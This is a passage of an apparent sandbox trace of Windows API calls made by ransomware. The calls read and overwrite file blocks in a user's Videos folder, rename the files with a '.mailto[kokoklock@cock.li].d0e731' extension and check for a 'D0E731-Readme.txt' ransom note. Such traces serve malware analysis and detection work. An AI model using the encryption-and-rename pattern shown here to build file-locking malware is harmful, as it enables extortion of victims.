lpNewFilePointer=0x0) returned 1 [0176.260] ReadFile (in: hFile=0x39c, lpBuffer=0x23b7fd9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23b7fd98, lpOverlapped=0x0 | out: lpBuffer=0x23b7fd9c*, lpNumberOfBytesRead=0x23b7fd98*=0x4, lpOverlapped=0x0) returned 1 [0176.261] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.261] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0176.261] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0176.261] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94c48 [0176.261] NtQuerySystemTime (in: CurrentTime=0x23b7fd74 | out: CurrentTime=0x23b7fd74*=132121213335800206) returned 0x0 [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0x386b6c03 [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0x36b4518f [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0x80278758 [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xf16885b [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xbfd0f5ee [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xd6a3ed17 [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xd5c69693 [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xa4402f9b [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0x649425b3 [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xd926bb72 [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0x7536dcfc [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xcc855b3 [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xc3e9bb39 [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0x32acfe04 [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xc709a78b [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0x1a61d7cd [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0x59a92131 [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0x3f45a04f [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0x9cd01f86 [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0x346340f [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xf61de20d [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xeabbc48e [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0x24449d27 [0176.261] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xe2a8a4ef [0176.262] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0x6ccd0945 [0176.262] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xe3e22fd3 [0176.262] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0x9915df8f [0176.262] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xf993e30d [0176.262] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xec785761 [0176.262] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xa13088a [0176.262] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xf5bf6447 [0176.262] RtlRandom (in: Seed=0x23b7fd80 | out: Seed=0x23b7fd80) returned 0xfcabb05a [0176.272] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.272] ReadFile (in: hFile=0x39c, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x23b7fd4c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x23b7fd4c*=0x4096, lpOverlapped=0x0) returned 1 [0176.273] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0176.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88fa0 [0176.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.273] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.274] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ce8 [0176.274] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0176.274] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0176.274] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0176.274] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0176.274] WriteFile (in: hFile=0x39c, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x23b7fd4c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x23b7fd4c*=0x4096, lpOverlapped=0x0) returned 1 [0176.274] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.274] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x1356b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.274] WriteFile (in: hFile=0x39c, lpBuffer=0x2f94ce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23b7fd84, lpOverlapped=0x0 | out: lpBuffer=0x2f94ce8*, lpNumberOfBytesWritten=0x23b7fd84*=0x20, lpOverlapped=0x0) returned 1 [0176.275] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0176.275] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0176.275] WriteFile (in: hFile=0x39c, lpBuffer=0x2f94cc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x23b7fd98, lpOverlapped=0x0 | out: lpBuffer=0x2f94cc0*, lpNumberOfBytesWritten=0x23b7fd98*=0x8, lpOverlapped=0x0) returned 1 [0176.275] WriteFile (in: hFile=0x39c, lpBuffer=0x23b7fdb0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23b7fd98, lpOverlapped=0x0 | out: lpBuffer=0x23b7fdb0*, lpNumberOfBytesWritten=0x23b7fd98*=0x4, lpOverlapped=0x0) returned 1 [0176.275] WriteFile (in: hFile=0x39c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23b7fd98, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x23b7fd98*=0x4, lpOverlapped=0x0) returned 1 [0176.275] WriteFile (in: hFile=0x39c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x23b7fd98, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x23b7fd98*=0x6c, lpOverlapped=0x0) returned 1 [0176.275] WriteFile (in: hFile=0x39c, lpBuffer=0x2f94d38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23b7fd98, lpOverlapped=0x0 | out: lpBuffer=0x2f94d38*, lpNumberOfBytesWritten=0x23b7fd98*=0x20, lpOverlapped=0x0) returned 1 [0176.276] WriteFile (in: hFile=0x39c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23b7fd98, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x23b7fd98*=0x4, lpOverlapped=0x0) returned 1 [0176.276] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.276] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c98) returned 1 [0176.276] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0176.276] CloseHandle (hObject=0x39c) returned 1 [0176.276] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2fa0c60 [0176.276] wcscpy (in: _Dest=0x2fa0c60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731" [0176.276] wcscat (in: _Dest=0x2fa0c60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.276] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\tomywjflntkl.mkv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\tomywjflntkl.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.277] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.277] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0c60) returned 1 [0176.277] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\TOMyWjflNtKL.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.277] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc2) returned 0x2fc2f98 [0176.277] wcscpy (in: _Dest=0x2fc2f98, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0176.277] wcscat (in: _Dest=0x2fc2f98, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" [0176.277] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\d0e731-readme.txt")) returned 0x20 [0176.277] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2f98) returned 1 [0176.278] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cf60) returned 1 [0176.278] RtlExitUserThread (Status=0x1) Thread: id = 2457 os_tid = 0xec4 [0176.279] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\wfmxxs8vo.mp4.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.279] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.280] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\wfmxxs8vo.mp4.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0176.280] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x23bff940 | out: lpFileSize=0x23bff940*=16910) returned 1 [0176.280] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x420a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.280] ReadFile (in: hFile=0x39c, lpBuffer=0x23bff914, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23bff910, lpOverlapped=0x0 | out: lpBuffer=0x23bff914*, lpNumberOfBytesRead=0x23bff910*=0x4, lpOverlapped=0x0) returned 1 [0176.281] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.281] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0176.281] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0176.281] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94c98 [0176.281] NtQuerySystemTime (in: CurrentTime=0x23bff8ec | out: CurrentTime=0x23bff8ec*=132121213335955981) returned 0x0 [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xed3a948c [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x15fccfc [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xc8ece862 [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xd29ad430 [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xd4606574 [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x34cce0d0 [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xfd0be655 [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xe10eefba [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x3beb5a6a [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xc2619d2f [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x56213a5f [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x6ae8df8 [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xc1d5550f [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xdda3a858 [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xfabef395 [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xad424f30 [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x3dd3ad20 [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x9929718c [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xa1f5e4f9 [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x11b5d5d5 [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x3bb4b5a0 [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x2c7e3d02 [0176.281] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x5a6dc5a0 [0176.282] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xbd317102 [0176.282] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x74f22c40 [0176.282] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x25541c35 [0176.282] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x4c260f48 [0176.282] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xc92e3c91 [0176.282] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x1b7cb76c [0176.282] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0x9de1cdbc [0176.282] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xe3f79dd2 [0176.282] RtlRandom (in: Seed=0x23bff8f8 | out: Seed=0x23bff8f8) returned 0xa13f8770 [0176.292] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.292] ReadFile (in: hFile=0x39c, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x23bff8c4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x23bff8c4*=0x4096, lpOverlapped=0x0) returned 1 [0176.293] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.293] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0176.293] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88fa0 [0176.293] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.293] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.293] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.293] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d10 [0176.293] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0176.293] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0176.293] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0176.293] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0176.293] WriteFile (in: hFile=0x39c, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x23bff8c4, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x23bff8c4*=0x4096, lpOverlapped=0x0) returned 1 [0176.294] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.294] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x420e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.294] WriteFile (in: hFile=0x39c, lpBuffer=0x2f94d10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23bff8fc, lpOverlapped=0x0 | out: lpBuffer=0x2f94d10*, lpNumberOfBytesWritten=0x23bff8fc*=0x20, lpOverlapped=0x0) returned 1 [0176.294] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d10) returned 1 [0176.294] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0176.294] WriteFile (in: hFile=0x39c, lpBuffer=0x2f94ce8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x23bff910, lpOverlapped=0x0 | out: lpBuffer=0x2f94ce8*, lpNumberOfBytesWritten=0x23bff910*=0x8, lpOverlapped=0x0) returned 1 [0176.294] WriteFile (in: hFile=0x39c, lpBuffer=0x23bff928*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23bff910, lpOverlapped=0x0 | out: lpBuffer=0x23bff928*, lpNumberOfBytesWritten=0x23bff910*=0x4, lpOverlapped=0x0) returned 1 [0176.294] WriteFile (in: hFile=0x39c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23bff910, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x23bff910*=0x4, lpOverlapped=0x0) returned 1 [0176.294] WriteFile (in: hFile=0x39c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x23bff910, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x23bff910*=0x6c, lpOverlapped=0x0) returned 1 [0176.295] WriteFile (in: hFile=0x39c, lpBuffer=0x2f94d38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23bff910, lpOverlapped=0x0 | out: lpBuffer=0x2f94d38*, lpNumberOfBytesWritten=0x23bff910*=0x20, lpOverlapped=0x0) returned 1 [0176.295] WriteFile (in: hFile=0x39c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23bff910, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x23bff910*=0x4, lpOverlapped=0x0) returned 1 [0176.295] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.295] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0176.295] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0176.295] CloseHandle (hObject=0x39c) returned 1 [0176.295] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x2fa0c60 [0176.295] wcscpy (in: _Dest=0x2fa0c60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731" [0176.295] wcscat (in: _Dest=0x2fa0c60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.295] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\wfmxxs8vo.mp4.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\wfmxxs8vo.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.296] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.296] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0c60) returned 1 [0176.296] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\wfMxxS8Vo.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.296] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc2) returned 0x2fc2f98 [0176.296] wcscpy (in: _Dest=0x2fc2f98, 